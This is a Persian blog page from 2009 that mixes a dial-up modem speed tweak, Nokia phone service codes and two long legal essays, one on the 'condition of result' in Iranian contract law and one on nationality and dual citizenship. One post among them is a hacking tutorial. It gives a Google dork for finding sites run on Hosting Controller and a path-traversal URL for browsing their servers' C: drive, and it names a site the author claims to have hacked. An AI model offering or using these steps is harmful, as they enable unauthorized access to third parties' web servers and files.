تبلیغات
حقوق و دانستنیهای آن + (دانلود رایگان آهنگ جدید خوانندگان ، نمونه سوالات ، مقالات ) - مطالب هفته دوم مرداد 1388
 
حقوق و دانستنیهای آن + (دانلود رایگان آهنگ جدید خوانندگان ، نمونه سوالات ، مقالات )
 
 
 

سلام دوستان !
شما با این آموزش می توانید به حداكثر سرعتی كه تا به حال از اینترنت ندیدهاید دست یابید!

ما در اینجا روشی کارآمد را به شما معرفی کنیم که بهره گیری از آن میتوانید مطمئن باشید که سرعت اینترنت شما بالاتر خواهد رفت. این کار از طریق تنظیمات مودم شما صورت خواهد گرفت ، در نتیجه تنها برای کاربران Dialup قابل استفاده است.

بدین منظور:
از منوی Start وارد Control Panel شوید ، سپس بر روی آیکون Phone and Modem Option دوبار کلیک کنید.
در پنجره باز شده به تب Modems رفته و روی دکمه Properties کلیک کنید.
حالا در پنجره جدید به تب Advanced بروید و در قسمت Extra Initialization Commands کد زیر را وارد کنید:
 

AT&FX+MS=V34
 
تمام پنجره ها را OK کرده و خارج شوید.
سپس در ادامه کار در همان Control Panel و وارد قسمت Network Connection شوید. بر روی کانکشنی که با آن به اینترنت متصل میشود راست کلیک کنید و Properties را برگزنید.
در پنجره باز شده و در همان تب General روی دکمه Configure کلیک کنید.
در پایان در پنجره باز شده بخش Maximum Speed را روی 921600 تنظیم کنید.
تمام پنجره ها را OK کرده و خارج شوید.


تاثیر این کار پس از اولین اتصال با آن کانکشن است




نوع مطلب : آموزش اینترنت، 
برچسب ها :
لینک های مرتبط :


چهاردهم مرداد 88 :: نویسنده : وفادار و قانونمند

كدهای گوشی نوكیا : ( این كدها را از سمت چپ به راست وارد گوشی نمائید)

#06#*
سریال نامبر گوشی را نشان میدهد ( IMEI )

#92702689#*
نمایش : سریال نامبر گوشی ، تاریخ ساخت ، تاریخ فروش ، تاریخ آخرین تعمیرات ( 0000 به معنای نداشتن تعمیر قبلی) برای خروج از این صفحه باید گوشی را خاموش و دوباره روشن

 کنید. ( روی گوشی 3310 – 3660 )

#3370*
با این کد شما از حالت EFR استفاده خواهید کرد که باعث میگردد از حداکثر کیفیت صدای گوشی برخوردار شوید اما در عوض مصرف باطری شما کمی بالاتر خواهد رفت
بر روی گوشی نوکیا 3310 آزمایش شد و عمل کرد
 

#3370#
حالت EFR را غیر فعال میسازد.

#4720#*
گوشی را در حالت کیفیت صدای پائین قرار می‌دهد و در عوض مصرف باطری شما درحدود 30 درصد کاهش میابد.

#4720#*
حالت قبل را غیر فعال میسازد.

اما بقیه تو ادامه مطلب
 

كدهای گوشی نوكیا


#0000#* و یا #9999#*
ورژن سیستم عامل گوشی ، تاریخ ساخت نرم افزار ، و نوع فشرده سازی را نشان میدهد.

#30#*
شماره های محرمانه گوشی را نمایش میدهد.


#67705646#*

در گوشیهای مدل 3310 و 3330 لگوی شبکه را حذف میکند ( IR-TCI )

#73#*
تایمر گوشی و همچنین تمام امتیازات بدست آمده در بازیها را Reset میکند.

#746025625#*

نمایش وضعیت سرعت clock سیمکارت گوشی. اگر گوشی شما دارای حالت SIM Clock Stop Allowed باشد به این معنا خواهد بود که گوشی شما میتواند درحالت کمترین میزان مصرف باطری درحالت Standby قرار بگیرد.

#2640#*
کد رمز فعلی گوشی را نشان میدهد. کد رمز گوشی در حالت عادی 12345میباشد.

#7780#*
RESET گوشی یا همان بازگشت به حالت تنظیمات کارخانه ای. مناسب برای زمانیکه گوشی قاطی کرده است . درواقع درایو C گوشی را ریست میکند (ریست گوشی بدون حذف برنامه ها) بعد از وارد کردن این کد ، گوشی از شما تقاضای وارد کردن security code را خواهد داشت که اگر آنرا قبلا تغییر نداده باشید 12345 میباشد.

#7370#*
فرمت گوشی یا همون مستر ریست . مناسب برای زمانیکه گوشی خیلی خیلی قاطی کرده است. درواقع این کد درایو C گوشی را فرمت میکند و البته تمامی برنامه ها و فایلهای موجود بر روی این درایو از بین خواهند رفت . بعد از وارد کردن این کد ، گوشی از شما تقاضای وارد کردن security code را خواهد داشت که اگر آنرا قبلا تغییر نداده باشید 12345 میباشد.


#43#*
کنترل حالت) call waiting انتظار گوشی).

#61#*
کنترل شماره ای که به عنوان divert در صورتیکه به تلفن پاسخ داده نشود ، تعیین گردیده است.

#62#*
کنترل شماره ای که به عنوان divert درصورتیکه شبکه دچار اشکال باشد( آنتن نباشد) تعیین گردیده است.

#67#*
کنترل شماره ای که به عنوان divert درصورتیکه گوشی اشغال باشد ، تعیین گردیده است.

شماره #*21**
divert به شماره مورد نظر در هر حالتی.

شماره #*61**
divert به شماره موردنظر در حالت عدم پاسخ گوئی ( no Reply )به تلفن زده شده.

شماره #*67**
divert به شماره مورد نظر در حالت اشغال بودن گوشی

سبز*+ +meno
مستر ریست گوشی در حالیكه گوشی به هیچ وجه بالا نیاد – گوشی را خاموش كرده و سه دكمه فوق را گرفته و گوشی را روشن می‌كنیم تا زمانی كه نوشته مربوط به فرمت بیاد بعد دكمه ها را ول می كنیم

دكمه pen
رفتن به حال safe mode - گوشی را خاموش كرده و دكمه فوق را گرفته و گوشی را روشن می‌كنیم تا زمانی كه برنامه گوشی بالا بیاد





نوع مطلب : آموزش موبایل، 
برچسب ها : موبایل،
لینک های مرتبط :


چهاردهم مرداد 88 :: نویسنده : وفادار و قانونمند
این آموزش تست شده و عملی :
این هم یه باگ جدید برای هک وب هایی که از هاستینگ کنترل استفاده می کنند
این عبارت را در گوگل سرچ کنید intitle:hosting controller + inurl:admin
بعد از آن به تعداد زیادی از سایت های معرفی شده بر خورد می کنید
حالا به دنبال سایت هایی بگردید که بعد از نام سایت کلمه admin قرار دارد یعنی به این صورت:
http:/www.s i t e.com/admin
در این مرحله اگر به سایت هایی بر خورد کردید که بعد از (ادمین) عباراتی ذکر شده بود اون رو پاک کنید و یه صورت بالا تبدیل کنید
بعد از این مرحله این باگ را بعد از ادمین قرار دهید
browse.asp?FilePath=c:\&Opt=2&level=0/
شما با این کار به سرور هاستینگ کنترل دست می یابید
البته لازم به ذکر است که این امر در مورد سایت های با امنیت بالا کاربردی ندارد
زمانی که شما مراحل فوق را انجام دادید نتیجه ای مانند این سایت که من هک کرده ام را خواهید دید
http://www.bowyer.org.uk/admin/browse.asp?FilePath=c:\&Opt=2&level=0
و این ترفند در مورد بیشتر سایت هایی که از هاستینگ کنترل استفاده می کنند کارکد دارد که کم هم نیستند




نوع مطلب : آموزش وبلاگ نویسی، 
برچسب ها :
لینک های مرتبط :


بررسی شرط نتیجه در حقوق ایران

الف – طرح موضوع تحقیق و دلیل انتخاب.آن
گستردگی دامنه ی ارتباطات روز افزون بشری در طی سالهای اخیر، که حاصل پیشرفت های نوین علمی و صنعتی می باشد ، همچنین پذیرش اصل آزادی قراردادی در اکثر نظامهای حقوقی در مورد انعقاد قراردادهای خصوصی ؛ موجب بوجود آمدن قراردادهای پیچیده ای شده است که شمار شروط مندرج در این نوع از قراردادها بر پیچیدگی آنها می افزاید؛ فلذا می طلبد که اقسام این نوع از شروط ضمن عقد مورد شناسایی حقوقی قرار گیرد .
در این میان مطالعات مربوط به شروط قراردادی که در آثار فقها و اساتید حقوقی بسیاری از کشورها به چشم می خورد ، قدمتی هزار ساله و یا بیشتر دارد ؛ ولیکن شناسایی آندسته از شروط ضمن عقدی که بواسطه ی اندراج در قرارداد و به صرف انشاء عقد اصلی موجب تحقق اثر یک ماهیت حقوقی در خارج می شود ، موضوعی است که بیش از هر زمانی ضروری به نظر می رسد . چراکه برخی از شروط مندرج در قراردادهایی همچون اجاره ی بشرط تملیک ، داوری ، بیمه و بسیاری از قراردادهای تسهیلات بانکی در شمار انواع شرط نتیجه می باشند . بدین ترتیب شرط نتیجه به عنوان یکی از اقسام شروط ضمن عقد شامل اموری است که موضوع قصد انشاء قرار می گیرد و با اشتراط در ضمن عقد اصلی و بدون نیاز به انشاء مستقل ، موجب تحقق آثار موضوع خود در خارج می گردد . فلذا شناسایی ماهیت حقوقی ، موضوعات و نهادهای پایه برای درج شرط نتیجه ، همچنین نحوه ی تحقق موضوع ، احکام و آثار مربوطه و در نهایت امکان انحلال چنین شرطی که اثر یک ماهیت حقوقی را در خارج بوجود می آورد بسیار حائز اهمیت می باشد .
ب - پیشینه ی تحقیق
در خصوص بررسی شرط نتیجه تقریباً هیچ منبع معتبری وجود ندارد كه بطور مستقیم به بحث فوق اشاره نماید ، ولیكن از آنجائیكه مبحث شروط ، یكی از مباحثی است كه ریشه در فقه دارد ، منابع معتبری از فقهای بزرگ چون شیخ انصاری صاحب مكاسب ، سید كاظم یزدی صاحب عروة الوثقی ، محمدحسن نجفی صاحب جواهرو میر فتاح مراغه ای صاحب عناوین و بسیاری از فقهای نامدار دیگر ، در زمینه ی مبحث شروط وجود دارد ، كه در آن مباحث مختصراً به شرط نتیجه نیز ، اشاره شده است ، در آثار فقهای معاصر نیز ، شرط نتیجه تحت عنوان \" قاعده ی شروط\" ، مختصراً آمده است. همچنین اساتید حقوق خصوصی ایران از جمله دكتر كاتوزیان ، دکتر امامی ، دکترشهیدی ، دکترجعفری لنگرودی ، دکترمحقق داماد و بسیاری از اساتید دیگر قسمتی از مباحث آثار خود را به شرط نتیجه اختصاص داده اند.
از آنجاییکه در حقوق انگلیس و فرانسه اصل آزادی قراردادی در انعقاد قراردادهای خصوصی مورد پذیرش قرار گرفته است و به موجب آن اشخاص درانعقاد قراردادهای خصوصی مشروع با یکدیگر آزادند؛ به نظر می رسد اشتراط شرط نتیجه ضمن عقدی دیگرامکان پذیر می باشد. زیرا با پذیرش اصل آزادی قراردادی و اصل حاکمیت اراده در انعقاد قراردادها ، طرفین می توانند بوسیله ی اندراج شرطی ضمن عقد اصلی ، اثر یک ماهیت حقوقی را در خارج بوجود آورند ؛ زیرا چنانچه طبق اصل حاکمیت اراده در انعقاد قراردادها ؛ اشخاص می توانند هر قراردادی را که مخالف قانون نباشد ، منعقد سازند به طریق اولی اراده ی اشخاص می تواند اثر همان قرار داد را ضمن انشاء عقدی دیگر بوجود آورد. برای مثال شرط دولتهای کاملة الوداد که نمونه ای از شرط نتیجه می باشد؛ مورد شناسایی قرار گرفته است. ولیکن در مطالعات انجام گرفته پیرامون شروط قراردادی در نظام حقوقی کشورهای انگلیس و فرانسه ، صرفاً شاهد عنوان « کاندیشن آف کورولاری » که ترجمه ی شرط نتیجه است ، می باشیم ولیکن در رابطه با موضوع ، نهادهای پایه ، نحوه ی تحقق ، ماهیت حقوقی و احکام وآثار مربوطه مطالعاتی انجام نگرفته است.
ج – فرضیه های تحقیق
شرط نتیجه یكی از شروط ضمن عقد می باشد كه در ماده ی234 ق.م بدین صورت تعریف شده است : «شرط نتیجه آن است كه تحقق امری در خارج شرط شود » که در این راستا پرسش ها و جنبه های مبهم و مجهول تحقیق عبارتند از؛ شناسایی ماهیت حقوقی شرط نتیجه كه اثر یك ماهیت حقوقی را در عالم خارج به وجود می آورد . بررسی اینکه آیا برای تحقق آثار شرط نتیجه نیاز به انشاء جداگانه و مستقل شرط وجود دارد و یا انشاء آن همراه با انشاء عقد اصلی صورت می گیرد ؟
در صورتی كه موضوع شرط نتیجه تحقق اثر بیع که عبارت است از تملیک و یا تحقق اثر هر عقد دیگری باشد ، آیا احکام وآثار آن ماهیت را نیز در پی خواهد داشت یا اینکه احکام وآثاری غیر از آثار آن ماهیت بر جای می گذارد ؟ برای مثال زمانیكه تملیک حصه ی یكی از دو شریك مال غیر منقول قابل تقسیم به عنوان شرط نتیجه در عقدی مندرج می گردد ، آیا شریك دیگر
می تواند به اعتبار اینكه ماهیت حقوقی آن شرط ، بیع می باشد ، به حق شفعه استناد نماید یا اینكه اساساً چنین شرطی اثر بیع را ندارد ؟
آیا اثر شرط نتیجه ، به وجود آمدن ماهیت حقوقی می باشد یا به وجود آمدن اثر آن ماهیت حقوقی که موضوع شرط نتیجه واقع شده است ؟ به عبارتی با توجه به اینكه در برخی مواقع صرفاً اثر یك ماهیت ، به عنوان شرط نتیجه مطرح می گردد ، بنابراین نتیجه ی حاصل اینست كه اساساً شرط نتیجه ای وجود ندارد و مفاد شرط در قالب هر شکلی به عنوان اثر قرارداد تلقی می گردد .
چنانچه می دانیم شرط به معنی مطلق الزام والتزام است ؛ فلذا سوالی كه درمورد تلقی شرط نتیجه به عنوان یکی از شروط ضمن عقد مطرح می شود این است كه تعهد و التزام حاصل از شرط نتیجه چه می باشد ؟
آیا اثرعقود عینی همانند رهن و هبه را می توان به عنوان موضوع شرط نتیجه مورد شناسایی قرار داد و در صورت مثبت بودن پاسخ ، آیا تحقق چنین شرطی منوط به قبض عین خواهد بود ؟ همچنین بررسی امکان تعلیق شرط نتیجه ونیزبررسی امکان تملیک عین معین به ثالث از جمله ی مسائلی می باشد که در این پایان نامه سعی شده است مورد مطالعه ی علمی قرار گیرد.
د - جنبه های کاربردی تحقیق
با توجه به اینكه مبحث شرط نتیجه ، یكی از مباحث اساسی شروط ضمن عقدمی باشد ، فلذا شناخت دقیق تعهدات و آثاری كه از آنها ایجاد می شود در تبیین میزان مسئولیت قراردادی حائز اهمیت است . بنابراین رفع شبهاتی كه در مورد ماهیت حقوقی و نحوه ی تحقق موضوع شرط نتیجه وجود دارد ؛ همچنین انگیزه ی بررسی احكام و آثار چنین شرطی ، خاستگاه اصلی تحقیق حاضر می باشد.
اهداف كاربردی تحقیق حاضرنیز در دو مرحله قابل بررسی است ؛ اولاً در مرحله ی انعقاد قراردادهایی كه شرط نتیجه در آنها گنجانده می شود که بهره وران این مرحله عبارتند از سردفتران اسناد رسمی و کارشناسان حقوقی ادارات و موسسات دولتی و خصوصی که در امر انعقاد قراردادها ایفای نقش می نمایند ؛ ثانیاً در مرحله ی تعیین احكام و آثاری كه از یک شرط به عنوان شرط نتیجه در قرارداد حاصل می شود؛ که بهره وران این مرحله نیزعبارتند ازقضات و وکلای دادگستری که در
مرحله ی اثباتی دعوا به تفسیر و تبیین شروط مندرج در قرارداد می پردازند .
از آنجائیكه علم حقوق ، علمی استدلالی می باشد ؛ فلذا پایه و اساس چنین علمی مباحثی است كه به صورت تئوریک مطرح می شوند ، لهذا تحقیق در مورد شرط نتیجه و بررسی ماهیت حقوقی و احكام و آثار آن ، گستره ی وسیعی را برای تفكر و استدلال نمایان می سازد كه این گستره ، راه را برای ورود به مباحث كاربردی و تبیین مسائل مختلف حقوقی هموار می نماید ، كه این امر خود به عنوان ضرورت خاص تحقیق مطرح است . بنابراین شناسایی موضوعات ،نهادهای پایه ، ماهیت حقوقی ،
نحوه ی تحقق موضوع ، احکام و آثارمربوطه و در نهایت بررسی امکان انحلال شرط نتیجه می طلبد كه مورد بحث و بررسی علمی قرار گیرد .
ه - روش تحقیق
ازآنجاییکه موضوع تحقیق و بحث و بررسی پیرامون آن بر مبنای استنباط و تحلیل استوار است ، لذا تحقیق حاضر به صورت جمع آوری اطلاعات از طریق مطالعه ی كتابخانه ای و جمع آوری آراء ، عقاید و نظرات فقها و محققین در این خصوص و نیز تجزیه و تحلیل آنها ، مراجعه به قوانین و قراردادهایی كه شرط نتیجه در آنها بكار رفته است ، شیوه ی كار می باشد . فلذا پایان نامه ی حاضر در زمره ی تحقیقات نظری است ؛ و به عبارتی نوعی پژوهش بنیادی است که از روش های استدلال و تحلیل عقلانی استفاده می نماید.
با توجه به اینكه موضوع تحقیق از حیث روش ، ماهیتاً كتابخانه ای بوده و متكی بر داده های منابع كتابخانه ای است ، لذا روش گردآوری اطلاعات نیز مبتنی بر روش كتابخانه ای می باشد . و با توجه به روش كار ، بهره ازمنابع موجود در كتابخانه های دانشكده های حقوق دانشگاههای آزاد و دولتی و نیز كتابخانه های حوزه ی علمیه ی قم ، كانون وكلا و قوه قضائیه و جمع آوری مطالب و فیش برداری از آنها از ابزارهای گردآوری اطلاعات بشمار می رود . همچنین استفاده از نرم افزارهای حقوقی و فقهی موجود و بهره از منابع اینترنتی و استفاده از سایت های حقوقی و فقهی داخلی و خارجی و نیز مصاحبه با صاحب نظران از شیوه های جمع آوری اطلاعات تحقیق حاضرمی باشد.
شایان ذکر است که روش تجزیه و تحلیل اطلاعات عبارت است از بررسی و تامل در آراء فقها و اساتید حقوق ، تجزیه و تحلیل آنها و نیز مقایسه ی آنها با یكدیگر ؛ كه از طریق اصول فقهی و حقوقی و استدلالهای عقلی و منطقی به کار رفته در این پایان نامه ؛ روش تحقیق حاضر را به عنوان روش تجزیه و تحلیل اطلاعات آشكار می سازد.
و – اعلام پلان تحقیق
بخش اول تحقیق حاضر با عنوان « شرط واقسام آن ، تعریف و مبانی شرط نتیجه » دردو فصل مجزا مورد مطالعه قرار می گیرد . فصل نخست به شناسایی مفهوم شرط در فقه و حقوق ، اقسام شرط وهمچنین جایگاه شرط نتیجه دربین سایر شروط ضمن عقد اختصاص داده شده است و در فصل دوم به تعریف شرط نتیجه ، مقایسه ی شرط نتیجه با شرط فعل و تعهد غایت و مبانی نظری وحقوقی شرط نتیجه اشاره خواهد شد.
پس از شناسایی جایگاه مطالعاتی شرط نتیجه ، تعریف و مبانی آن در بخش اول ؛ ضروری است ارکان شرط نتیجه و به عبارتی موضوع و نهادهای حقوقی پایه برای درج شرط نتیجه مورد مطالعه قرار گیرد ؛ فلذا بخش دوم پایان نامه با عنوان« موضوع و نهادهای پایه ی شرط نتیجه » در دو فصل مجزا ارائه شده است. شرط نمودن مقتضای یکی از عقود در ضمن عقدی دیگر، مانند شرط قراردادن ملکیت عین معین که نتیجه ی عقد بیع می باشدویا شرط قراردادن ملکیت منافع آن که نتیجه ی عقد اجاره است ، همچنین اشتراط مقتضای یکی از ایقاعات در ضمن عقد اصلی ، مانند شرط قراردادن ابراء و یا اشتراط اسقاط حق شفعه در ضمن عقد اصلی و در نهایت اشتراط اقاله ی عقد سابق در ضمن عقدی دیگر، مباحث اصلی موضوعات شرط نتیجه را تشکیل می دهد ، که درفصل نخست این بخش مورد مطالعه قرار خواهد گرفت . فصل دوم نیز به بررسی امکان اشتراط موضوعات شرط نتیجه درانواع عقود و ایقاعات ، به عنوان نهادهای پایه برای درج شرط نتیجه اختصاص داده شده است.
طبقه بندی منطقی پلان ایجاب می نماید که دربخش سوم و با عنایت به اینکه در بخش قبل ، موضوعات و نهادهای پایه ی شرط نتیجه مورد شناسایی قرار گرفته است ؛ ماهیت حقوقی و نحوه ی تحقق موضوع شرط نتیجه مورد مطالعه قرار گیرد . بنابراین بخش سوم تحقیق حاضررا با عنوان
« بررسی ماهیت حقوقی ونحوه ی تحقق موضوع شرط نتیجه » در ذیل دو فصل مورد مطالعه قرار خواهیم داد . درفصل نخست به بررسی ماهیت حقوقی شرط نتیجه و مقایسه ی آن با ماهیت های مشابه اشاره خواهد شد و در فصل دوم نحوه ی تحقق موضوع شرط نتیجه با توجه به موضوعات و نهاد پایه ی آن ، شرایط صحت و زمان تشکیل شرط نتیجه مورد مطالعه قرار می گیرد .
و در نهایت بخش چهارم پایان نامه با عنوان « احکام ، آثار وانحلال شرط نتیجه » در دو فصل اصلی به شناسایی احکام و آثار شرط نتیجه وموارد انحلال ، امکان اسقاط ، انفساخ واقاله ی شرط نتیجه اختصاص دارد .
مطابق قواعد پذیرفته شده ی فقهی و حقوقی ، اثر شرط نتیجه ایجاد ماهیت حقوقی در عالم خارج نبوده ، بلكه اثر یک ماهیت حقوقی بواسطه ی اشتراط نتیجه ی آن ضمن عقد اصلی در عالم خارج به وجود می آید . اما از آنجائیكه ماهیت حقوقی شرط نتیجه مورد بررسی قرار نگرفته است و نیز پاسخگویی به مسائلی از قبیل اینكه چنین شرطی چه احكام و آثاری دارد ، چگونه قابل تعلیق می باشد و امكان اسقاط چنین شرطی چگونه است ، از مهمترین نوآوری تحقیق حاضر بوده و امید است که در پایان تحقیق پاسخ مناسبی به ابهامات موجود ارائه گردد





نوع مطلب : مقالات حقوقی، 
برچسب ها :
لینک های مرتبط :


تحت شرایط قانون آن مملکت، موقتی زندگی کرده یا از آن مملکت بگذرد. هدف ما در این حصه اقامت دایمی فرد یک دولت در دولت دیگر می‌باشد.

دادن اقامت دایمی، تحت شرایط خاص و قانون مملکت دیگر می‌باشد، یعنی فرد این حق را مانند تابعیت کسب کرده نمی‌تواند. با به میان آمدن وسایل نقلیه و ایجاد قوانین خاص مهاجرت،‌ دولت‌ها تحت شرایط قانونی، برای اتباع کشورهای دیگر اجازه سفر یا اقامت را می‌دهد. در بعضی موارد موقف سیاسی یک شخص بنابر عوامل جنگ داخلی، تبدیل رژیم‌ها، خوف جان خود یا فامیل خود، مجبور به ترک وطن متبوع خود می‌شود. در سال 1951 دول عضو که در شهر Geneva به ایجاد the Geneva refugee convention موفق شدند که از آن تاریخ تا امروز برای کسانی‌که از وطن شان بنابر عوامل جنگ داخلی، نژاد، زبان، مذهب، رنگ، فعالیت سیاسی و غیره مجبور به ترک وطن شان می‌شوند commission را تشکیل دادند تا نمایندگی‌های سیاسی درتمام دول عضو، تشکیل شود و به حمایه همچو اشخاص دست به عمل شوند و زمینه مهاجرت را از یک کشور به کشور دیگر آماده می‌سازد. از سال 1379 به این طرف میلیون‌ها افغان بنابر عوامل سیاسی و جنگ‌های داخلی مجبور به ترک وطن شده اتباع آن در ممالک همسایه و دورترین نقاط جهان مهاجر شده و از آن تاریخ تا کنون در خارج از کشور امرار حیات می‌نمایند.

عده‌ای از این مهاجرین قانونا در اروپا و سایر نقاط جهان تحت پروگرام‌های آورگان ملل متحد و کمک‌های بشری سازمان‌های مذهبی، توطن اختیار و کسب اقامت دایمی نموده و مطابق قوانین کشورهای پناه دهنده حتا تابعیت آن دولت را نیز حاصل کرده اند. عده‌ای که خواسته اند یا بنابر مشکلاتی قانونی نتوانسته اند کسب تابعیت کنند، به حیث مقیم در آن کشورها امرار حیات می‌ورزند.

این طبقه مردم را در حقوق بین‌المللی خصوصی به حیث مقیم دایمی کشور بیگانه یاد می‌کنند. البته در فصل جداگانه ما موضوع اقامت را به صورت مفصل تشریح خواهیم کرد.

 

ب) قاعده و مبانی تابعیت

 

در قوانین کشورهای جهان در مورد مبانی تابعیت سه اصل کلی را مورد نظر گرفته اند:

 

1-هر شخص باید دارای تابعیت باشد،

 

2-هیچ کس نباید بیش از یک تابعیت داشته باشد،

 

3-تابعیت یک اصل دایمی و غیر قابل زوال می‌باشد.

  

 

فصل چهارم

 

قاعده

« شخص نباید تابعیت خود را تا زمانی از دست بدهد که تابعیت دیگری نگرفته باشد »

فرضیه بر این است که نباید هیچ فرد در جهان بدون تابعیت یک مملکت مشخص بماند. به عباره دیگر باید هر فرد دارای تابعیت یک مملکت مشخص باشد زیرا رابطه شخص با دولت یک رابطه سیاسی است.

اگر شخص بخواهد، ترک تابعیت دولت متبوعش را بکند، نمی‌تواند تا زمانی به این هدف خود نایل آید که برایش مملکت دیگر تابعیت داده باشد. ولی نباید تصور کرد که یک فرد در کشور دیگر، اقامت کرده نمی‌توند.

هرگاه شخص بخواهد در دوران حیاتش تابعیتی را رها کند به ناچار بایستی تابعیت دولت دیگری را تحصیل نماید یعنی ناگزیر است که پیوسته به دولتی از لحاظ سیاسی مرتبط باشد و این بستگی و ارتباط در هیچ لحظه نباید منقطع شود و گرنه خیلی آسان است که هر کس بستگی خود را با دولت متبوعش قطع کند و از هر گونه وظیفه و تکلیفی بدون درد سر حیات به سر برد.

باید گفت که این اصل از خود استثنائات هم دارد. مثلا سلب تابعیت از طریق مجازات، سلب تابعیت به اثر پناهندگی سیاسی و مهاجرت‌ها.

البته ترک نمودن تابعیت بنابر پناهندگی سیاسی، از خود شکلیات خاص دارد که هر دولت بنابر احکام قوانین موضوعه خود، شرایط خاصی برای شخصی که ادعای پناهندگی به آن دولت می‌دهد، وضع و از طریق ضوابط قانون موضوعه خود با در نظرداشت معاهدات بین‌المللی و قرار داد‌های بین‌المللی، آنرا تنظیم می‌کند. به طور مثال بعد از استیلای روس‌ها بر افغانستان، ملیون‌ها افغان بنابر خوف سیاسی در سه دهه گذشته مجبور شدند از وطن خارج شوند. عده‌ای هم تا هنوز بلاتکلیف در ممالک همسایه اقامت دارند که با وجود تقاضای شان حکومات دول همسایه برای شان تابعیت نداده و در آن ممالک بلاتکلیف امرار حیات دارند ولی عده دیگر که به غرب پناه برده اند بعد از آن که پناهندگی شان پذیرفته شد، در نهایت به اثر درخواست خود پناهنده و مطابق احکام قانون آن مملکت بعد از دادن اقامت دایمی، تابعیت هم داده شد.

قاعده کلی حقوق بین‌الدول عمومی که توسط Convention های بین‌الملی حمایه شده، این است که دولت‌ها نباید شخص را که خوف Persecution در مملکت متبوع خود دارند، به مملکت متبوع شان بازگشتانده شوند ولی ثبوت این خوف در برخی از دولت‌ها به دوش شخص درخواست دهنده و در برخی به دوش‌ دولت‌ها می‌باشد. ما از سلب تابعیت بنابر عوامل مختلف صحبت کردیم بد نیست که ببینیم که تابعیت دوگانه چیست؟

 

تابعیت دوگانه

 

علمای حقوق بین‌الدول خصوصی را عقیده بر این است، همانطوری که نداشتن تابعیت موجب بروز مشکلات برای افراد می‌شود. داشتن بیش از یک تابعیت هم از خود درد سرهای دارد. افغانستان، بعد از استقرار حکومت محترم کرزی، با برخی از دولت‌ها، خاصتا دول غربی به این نتیجه رسیده اند که افغانان می‌توانند از دو تابعیت استفاده کنند. به طور مثال یک افغانی که تابعیت امریکایی کسب کرده، اگر بخواهد به افغانستان برگردد، می‌تواند به حیث تبعه افغانستان در دوایر دولتی به استثنایی پست ریاست جمهوری، معاونین رییس جمهور یا وزیر در حکومت اجرای وظیفه کند. باید ملتفیت بر این شد که هرگاه دو دولت متبوع چنین شخص در حال جنگ هستند تکلیف این فرد چیست؟

می‌دانیم، همان طوری که بنابر جنگ‌ها، قسمتی از خاک یک کشور را کشور دیگر اشغال و سکنه آن جز آن خاک به دولت دیگر تعلق می‌گیرد، در این صورت مشکل عمده بین دو دولت در مورد تابعیت چنین اشخاص پیدا می‌شود.

بعضا افراد به حکم قانون تابعیت، زن یا مرد مجبور می‌شود، تابعیت زوج یا زوجه خود را قبول کند.

در مورد از بین بردن این معضله دو تابعیتی، کنفرانسی که در سال 1928 در استکهلم دایر شده بود موسسه حقوق بین‌الدول به این نتیجه رسیده بود که باید برای فرد صلاحیت داده شود که بعد از سن رشد، هر تابعیتی را که او اختیار می‌کند، برایش داده شود. حقوقدانان در ساحه حقوق بین‌الدول خصوصی ابراز نظر کرده و عقیده دارند که باید معضله داشتن دو تابعیت بر حسب اصول ذیل مرفوع شود.

برای رفع نمودن مشکل دو تابعیت، تابعیتی که فرد به حکم اجبار سیاسی به دست آورده، باید برای شخص صلاحیت داده شود که بین این دو، یکی را خودش به رضای خود اختیار و از دیگری صرف نظر کند.

در مورد تابعیت کسب شده، باید برای شخص اجازه داده شود که خودش، تصمیم گیرد نه آن که دولتی که برای همچو شخص تابعیت می‌دهد و او را وادار سازد تا از تابعیت اصلی خود اجباراً به نفع دولت دیگر انصراف کند و تابعیت مملکت دیگر را کسب نماید.

در ایالات متحده امریکا وقتی یک خارجی شرایط کسب تابعیت امریکایی را پیدا می‌کند، او در هنگام گرفتن تابعیت، سوگند و فاداری یاد کرده تعهد می‌کند که به قانون اساسی و سایر قوانین ایالات متحده وفادار مانده، از تابعیت اصلی خود صرف نظر کرده و تابعیت ایالات متحده را قبول کرده هرگاه ایالات متحده با مملکتی که چنین فرد تابعیت اصلی آن را داشت، در جنگ واقع شود، علیه آن اسلحه می‌بردارد و می‌جنگد.

این نوع قبول کردن تابعیت را به نام ترجیح دادن می‌نامند. یعنی ترجیح می‌دهد که کدام تابعیت را قبول کند و این نظریه توسط مجمع حقوقدانان بین‌الدول در سال 1928 در ستکهلم Stockholm به اکثریت آرا پذیرفته شده است.

عده‌ای از حقوق دانان عقیده دارند که چون موضوع تابعیت یک فرد از نظر مصالح سیاسی خیلی مهم است، دولت صواب نخواهد دانست تا این صلاحیت را به فرد بدهند، زیرا فرد منافع شخصی خود را بر منافع دولت متبوعش رجحان خواهد داد. این گروه فکر می‌کنند که برای نسل اول موضوع خون و نسل‌های بعدی موضوع خاک رجحان داده خواهد شد. این نظریه به فکر من معقول نیست، زیرا ما امروز از آزادی بیان و عقیده سخن می‌زنیم. چرا فرد این حق را نداشته باشد تا آن تابعیتی را که فکر می‌کند، منافع او را بهتر تامین می‌کند اختیار کند؟

حصول تابعیت جدید، چه از طریق ازدواج‌ها یا مهاجرت‌ها باید چنان تنظیم شود که فرد درخواست دهنده از مملکت دیگر تا زمانی که از تابعیت اولی خود صرف نظر نکرده، نباید برایش تابعیت جدید داده شود.

این فرضیه نیز مشکل قانونی دارد. هیچ دولت نمی‌تواند، قانون مملکت دیگر را به زعم خود و مفاد خود تعدیل کند. هر مملکت مستقل حق دارد قوانین خود را مطابق منافع خودش تنظیم کند. به طور مثال در قانون انگستان، داشتن دو تابعیت به حیث یک اصل کلی پذیرفته شده. یک انگلیس ولو آن





نوع مطلب : مقالات حقوقی، 
برچسب ها :
لینک های مرتبط :


فصل دوم

 

منابع حقوق بین الملل خصوصی

 

